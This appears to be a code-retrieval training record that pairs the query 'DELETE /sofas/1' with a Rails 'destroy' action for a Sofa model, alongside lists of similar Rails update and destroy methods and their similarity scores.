"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def update\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n if @serie.update_attributes(params[:serie])\n format.html { redirect_to(niveis_ensino_serie_url(@nivel,@serie), :notice => 'Serie atualizado com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @estagiarios = Estagiario.find(params[:id])\n\n respond_to do |format|\n if @estagiarios.update_attributes(params[:estagiario])\n flash[:notice] = 'ESTAGIÁRIO SALVO COM SUCESSO.'\n format.html { redirect_to(@estagiarios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estagiarios.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # returning connection.put(element_path(prefix_options), to_xml, self.class.headers) do |response|\n returning connection.put(element_path(prefix_options), to_ssj, self.class.headers) do |response|\n load_attributes_from_response(response)\n end\n end",
"def update\n @sf_sobject = Sfsync::Sobject.find(params[:id])\n \n respond_to do |format|\n if @sf_sobject.update_attributes(params[:sf_sobject])\n format.html { redirect_to @sf_sobject, notice: 'Sobject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sf_sobject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @srsaa = Srsaa.find(params[:id])\n\n respond_to do |format|\n if @srsaa.update_attributes(params[:srsaa])\n format.html { redirect_to :action }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @srsaa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tservicio = Tservicio.find(params[:id])\n\n respond_to do |format|\n if @tservicio.update_attributes(params[:tservicio])\n format.html { redirect_to(@tservicio, :notice => 'Tservicio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tservicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @estatuto = Estatuto.find(params[:id])\n\n respond_to do |format|\n if @estatuto.update_attributes(params[:estatuto])\n format.html { redirect_to @estatuto, notice: 'Estatuto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estatuto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @soiree = Soiree.find(params[:id])\n\n respond_to do |format|\n if @soiree.update_attributes(params[:soiree])\n format.html { redirect_to @soiree, notice: 'Soiree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @soiree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n if @serie.update_attributes(serie_params)\n format.html { redirect_to(@serie, :notice => 'Serie was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, data=nil)\n request(:put, path, data)\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @estoques = Estoque.find(params[:id])\n\n respond_to do |format|\n if @estoques.update_attributes(params[:estoque])\n flash[:notice] = 'ESTOQUE SALVO COM SUCESSO.'\n format.html { redirect_to(@estoques) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @estoques.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @orc_suplementacao = OrcSuplementacao.find(params[:id])\n\n respond_to do |format|\n if @orc_suplementacao.update_attributes(params[:orc_suplementacao])\n flash[:notice] = 'SALVO COM SUCESSO.'\n format.html { redirect_to(@orc_suplementacao) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_suplementacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, params)\n request(:put, path, params)\n end",
"def update\n respond_to do |format|\n if @apoio.update(apoio_params)\n format.html { redirect_to @apoio, notice: 'Apoio was successfully updated.' }\n format.json { render :show, status: :ok, location: @apoio }\n else\n format.html { render :edit }\n format.json { render json: @apoio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def edit_axis2XML(carbon_home,http_port,https_port) \n\n\tFile.open(File.join(carbon_home , 'conf','axis2.xml')) do |config_file|\n\t\t# Open the document and edit the port (axis2.xml)\n\t\tconfig = Document.new(config_file)\n\t\t\n\t\tconfig.root.elements[25].elements[1].text=http_port\n\t\tconfig.root.elements[26].elements[1].text=https_port\n\t\n\t\t\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_axis2.xml'), 'w') do |result|\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','axis2.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_axis2.xml'),File.join(carbon_home , 'conf','axis2.xml') )\n\nend",
"def update\n respond_to do |format|\n if @asos_station.update(asos_station_params)\n format.html { redirect_to @asos_station, notice: 'Asos station was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @asos_station.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @safra = Safra.find(params[:id])\n\n respond_to do |format|\n if @safra.update_attributes(params[:safra])\n format.html { redirect_to @safra}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @safra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n @os_type = OsType.find(params[:id])\n\n respond_to do |format|\n if @os_type.update_attributes(params[:os_type])\n format.html { redirect_to @os_type, notice: 'Os type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @os_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def update\n respond_to do |format|\n if @sinistro.update(sinistro_params)\n format.html { redirect_to @sinistro, notice: 'Sinistro was successfully updated.' }\n format.json { render :show, status: :ok, location: @sinistro }\n else\n format.html { render :edit }\n format.json { render json: @sinistro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end",
"def update\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @asistencia.update_attributes(params[:asistencia])\r\n format.html { redirect_to @asistencia, notice: 'Asistencia was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @asistencia.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @socio.update(socio_params)\n format.html { redirect_to @socio, notice: 'Socio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end",
"def update\n @feria2010observacion = Feria2010observacion.find(params[:id])\n\n respond_to do |format|\n if @feria2010observacion.update_attributes(params[:feria2010observacion])\n format.html { redirect_to(@feria2010observacion, :notice => 'Feria2010observacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feria2010observacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put(path, data, params = {}, request_options = {})\n request(:put, path, data, params)\n end",
"def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response 401\r\n end",
"def update\n respond_to do |format|\n if @socio.update(socio_params)\n format.html { redirect_to @socio, notice: 'Socio modificado com sucesso.' }\n format.json { render :show, status: :ok, location: @socio }\n else\n format.html { render :edit }\n format.json { render json: @socio.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.63454664",
"0.6312509",
"0.59813994",
"0.5911532",
"0.5816917",
"0.58020943",
"0.57988596",
"0.5785465",
"0.5752624",
"0.57489586",
"0.57348096",
"0.5723259",
"0.57054174",
"0.57009804",
"0.5664844",
"0.56106186",
"0.5598502",
"0.5593297",
"0.5553089",
"0.5551891",
"0.55353963",
"0.5525906",
"0.55253863",
"0.55165803",
"0.5506817",
"0.5489888",
"0.5486093",
"0.54812795",
"0.5480297",
"0.5475151",
"0.54711473",
"0.5464254",
"0.54611087",
"0.544237",
"0.543422",
"0.54147744",
"0.54137975",
"0.54087454",
"0.54026103",
"0.5394769",
"0.5394556",
"0.53930366",
"0.5390011",
"0.5390011",
"0.5390011",
"0.5387994",
"0.5387796",
"0.53877115",
"0.5380052",
"0.5373334",
"0.5371467",
"0.5355226",
"0.5348545",
"0.5342176",
"0.5338952",
"0.5332678",
"0.5332043",
"0.5332043",
"0.5332043",
"0.5332043",
"0.5332043",
"0.5332043",
"0.5332043",
"0.5332043",
"0.53301483",
"0.5305555",
"0.53025466",
"0.52941316",
"0.52941316",
"0.5292788",
"0.52881324",
"0.52880436",
"0.52829176",
"0.5281865",
"0.52798104",
"0.52780366",
"0.5277923",
"0.5276695",
"0.5276073",
"0.5273067",
"0.52726394",
"0.5270783",
"0.52706033",
"0.527057",
"0.5268293",
"0.52672815",
"0.5266802",
"0.52657294",
"0.5265607",
"0.5258733",
"0.52512264",
"0.52482295",
"0.52477044",
"0.52398354",
"0.52378726",
"0.5234874",
"0.52267075",
"0.52219564",
"0.52213943",
"0.5220084"
] | 0.6810467 | 0 |
DELETE /sofas/1 DELETE /sofas/1.xml | def destroy
@sofa = Sofa.find(params[:id])
@sofa.destroy
respond_to do |format|
format.html { redirect_to(sofas_url) }
format.xml { head :ok }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @sa = Sa.find(params[:id])\n @sa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @senhas = Senha.find(params[:id])\n @senhas.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @segmento = Segmento.find(params[:id])\n @segmento.destroy\n\n respond_to do |format|\n format.html { redirect_to(segmentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n sf = @site.site_files.find params[:id]\n sf.destroy\n\n flash[:notice] = \"#{sf.path} has been deleted.\"\n respond_to do |format|\n format.html { redirect_to(site_site_files_path(@site)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tso = Tso.find(params[:id])\n @tso.destroy\n\n respond_to do |format|\n format.html { redirect_to(tsos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @foro = Foro.find(params[:id])\n @[email protected]\n @foro.destroy\n\n respond_to do |format|\n format.html { redirect_to(foros_url(:id=>@sitio)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nossos_servico = NossosServico.find(params[:id])\n @nossos_servico.destroy\n\n respond_to do |format|\n format.html { redirect_to(nossos_servicos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sitio = Sitio.find(params[:id])\n @sitio.destroy\n\n respond_to do |format|\n format.html { redirect_to(sitios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tiposproceso = Tiposproceso.find(params[:id])\n @tiposproceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(tiposprocesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @siaikekka = Siaikekka.find(params[:id])\n @siaikekka.destroy\n\n respond_to do |format|\n format.html { redirect_to(siaikekkas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @atest = Atest.find(params[:id])\n @atest.destroy\n\n respond_to do |format|\n format.html { redirect_to(atests_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @asistencia = Asistencia.find(params[:id])\n @asistencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(asistencias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @colonoscopytest = Colonoscopytest.find(params[:id])\n @colonoscopytest.destroy\n\n respond_to do |format|\n format.html { redirect_to(colonoscopytests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cso = Cso.find(params[:id])\n @cso.destroy\n\n respond_to do |format|\n format.html { redirect_to(csos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @silo = Silo.find(params[:id])\n @silo.destroy\n\n respond_to do |format|\n format.html { redirect_to(silos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aviso = Aviso.find(params[:id])\n @aviso.destroy\n\n respond_to do |format|\n format.html { redirect_to(avisos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aisle = Aisle.find(params[:id])\n @aisle.destroy\n\n respond_to do |format|\n format.html { redirect_to(aisles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @domino = Domino.find(params[:id])\n @domino.destroy\n\n respond_to do |format|\n format.html { redirect_to(dominos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @elemento = Elemento.find(params[:id])\n @elemento.destroy\n\n respond_to do |format|\n format.html { redirect_to(elementos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estagio = Estagio.find(params[:id])\n @estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(estagios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @seccion = Seccion.find(params[:id])\n @seccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(seccions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @solexame.destroy\n\n respond_to do |format|\n format.html { redirect_to paciente_url(@solexame.paciente) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @documento = @externo.documentos.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url(@externo)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n @suministro = Suministro.find(params[:id])\n @suministro.destroy\n\n respond_to do |format|\n format.html { redirect_to(suministros_url) }\n format.xml { head :ok }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @viviendasusadasestado = Viviendasusadasestado.find(params[:id])\n @viviendasusadasestado.destroy\n\n respond_to do |format|\n format.html { redirect_to(viviendasusadasestados_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @ficha_tematica = FichaTematica.find(params[:id])\n @ficha_tematica.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_ficha_tematicas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n @iguanasactualizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(iguanasactualizaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @visita = Visita.find(params[:id])\n @visita.destroy\n\n respond_to do |format|\n format.html { redirect_to(paciente_visitas_url) }\n format.xml { head :ok }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @consulta = Consulta.find(params[:id])\n @consulta.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @consulta = Consulta.find(params[:id])\n @consulta.destroy\n\n respond_to do |format|\n format.html { redirect_to(consultas_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @sti = Sti.find(params[:id])\n @sti.destroy\n\n respond_to do |format|\n format.html { redirect_to(stis_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @viviendastipostramite = Viviendastipostramite.find(params[:id])\n @viviendastipostramite.destroy\n\n respond_to do |format|\n format.html { redirect_to(viviendastipostramites_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @supervisor_estagio = SupervisorEstagio.find(params[:id])\n @supervisor_estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(supervisor_estagios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @seta = Seta.find(params[:id])\n @seta.destroy\n\n respond_to do |format|\n format.html { redirect_to(setas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @asignacion = Asignacion.find(params[:id])\r\n @asignacion.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacions_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @archivospazysalvo = Archivospazysalvo.find(params[:id])\n @archivospazysalvo.destroy\n\n respond_to do |format|\n format.html { redirect_to(archivospazysalvos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @spiel = Spiel.find(params[:id])\n @spiel.destroy\n\n respond_to do |format|\n format.html { redirect_to(spiels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @helibasis = Helibase.find(params[:id])\n @helibasis.destroy\n\n respond_to do |format|\n format.html { redirect_to(helibases_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dupa = Dupa.find(params[:id])\n @dupa.destroy\n\n respond_to do |format|\n format.html { redirect_to(dupas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @asignacionexa = Asignacionlabexa.find(params[:id])\r\n @asignacionexa.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(asignacionlabexas_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @plantilla = Plantilla.find(params[:id])\n @plantilla.destroy\n\n respond_to do |format|\n format.html { redirect_to(plantillas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fase2beneficiario = Fase2beneficiario.find(params[:id])\n @fase2beneficiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(fase2beneficiarios_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end",
"def destroy\n @documento = Documento.find(params[:id])\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(documentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @solicitation = Solicitation.find(params[:id])\n @solicitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(solicitations_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @sim_staff = SimStaff.find(params[:id])\n @sim_staff.destroy\n\n respond_to do |format|\n format.html { redirect_to(sim_staffs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_de_documento = TipoDeDocumento.find(params[:id])\n @tipo_de_documento.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipos_de_documento_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tservicio = Tservicio.find(params[:id])\n @tservicio.destroy\n\n respond_to do |format|\n format.html { redirect_to(tservicios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @bixo = Bixo.find(params[:id])\n @bixo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bixos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @prestamo = Prestamo.find(params[:id])\n @prestamo.destroy\n\n respond_to do |format|\n format.html { redirect_to(prestamos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_conta = TipoConta.find(params[:id])\n @tipo_conta.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_contas_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @proceso = Proceso.find(params[:id])\n @proceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(procesos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @leilao = Leilao.find(params[:id])\n @leilao.destroy\n\n respond_to do |format|\n format.html { redirect_to(leilaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @calidadtiposdocumento = Calidadtiposdocumento.find(params[:id])\n @calidadtiposdocumento.destroy\n\n respond_to do |format|\n format.html { redirect_to(calidadtiposdocumentos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(dossiers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @regiaos = Regiao.find(params[:id])\n @regiaos.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @repasse_fabrica = RepasseFabrica.find(params[:id])\n @repasse_fabrica.destroy\n\n respond_to do |format|\n format.html { redirect_to(repasses_fabrica_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @doctipo = Doctipo.find(params[:id])\r\n @doctipo.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(doctipos_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @distribuidora = Distribuidora.find(params[:id])\n @distribuidora.destroy\n\n respond_to do |format|\n format.html { redirect_to(distribuidoras_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @adjunto = Adjunto.find(params[:id])\n @adjunto.destroy\n\n respond_to do |format|\n format.html { redirect_to(adjuntos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aplicacion = Aplicacion.find(params[:id])\n @aplicacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(aplicacions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pessoa = Pessoa.find(params[:id])\n @pessoa.destroy\n\n respond_to do |format|\n format.html { redirect_to(pessoas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @spielbegegnung = Spielbegegnung.find(params[:id])\n @spielbegegnung.destroy\n\n respond_to do |format|\n format.html { redirect_to(spielbegegnungs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @alumini = Alumini.find(params[:id])\n @alumini.destroy\n\n respond_to do |format|\n format.html { redirect_to(aluminis_url) }\n format.xml { head :ok }\n end\n end",
"def delete(path = '/files/', params = {})\n request :delete, path, params\n end",
"def destroy\n @estagiarios = Estagiario.find(params[:id])\n @estagiarios.destroy\n\n respond_to do |format|\n format.html { redirect_to(homes_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end"
] | [
"0.66941506",
"0.66528577",
"0.6651226",
"0.66397965",
"0.66105837",
"0.6546437",
"0.6528519",
"0.65186894",
"0.65097964",
"0.6480352",
"0.6449139",
"0.6442919",
"0.64395875",
"0.6432339",
"0.64100164",
"0.6405228",
"0.6387301",
"0.6387047",
"0.63758886",
"0.63734746",
"0.6355849",
"0.6353211",
"0.6352473",
"0.63393426",
"0.6328757",
"0.6307447",
"0.6306086",
"0.6306086",
"0.63026667",
"0.63012606",
"0.63005793",
"0.62984943",
"0.62929535",
"0.6292723",
"0.62915576",
"0.6291016",
"0.6284499",
"0.62816954",
"0.6275921",
"0.6273631",
"0.62685895",
"0.62640417",
"0.62557745",
"0.62518096",
"0.62505317",
"0.62429",
"0.6239102",
"0.62380457",
"0.6237058",
"0.62359965",
"0.62359965",
"0.62319636",
"0.62272835",
"0.62266135",
"0.6221574",
"0.6220554",
"0.6213592",
"0.6211072",
"0.6209638",
"0.62090725",
"0.62086856",
"0.6207974",
"0.61989045",
"0.61974305",
"0.61869293",
"0.618277",
"0.61807",
"0.6179988",
"0.61702484",
"0.6169928",
"0.61699224",
"0.6169823",
"0.6164505",
"0.61644953",
"0.6161036",
"0.6160168",
"0.61508155",
"0.6150313",
"0.6149597",
"0.6144374",
"0.614258",
"0.61411643",
"0.6138852",
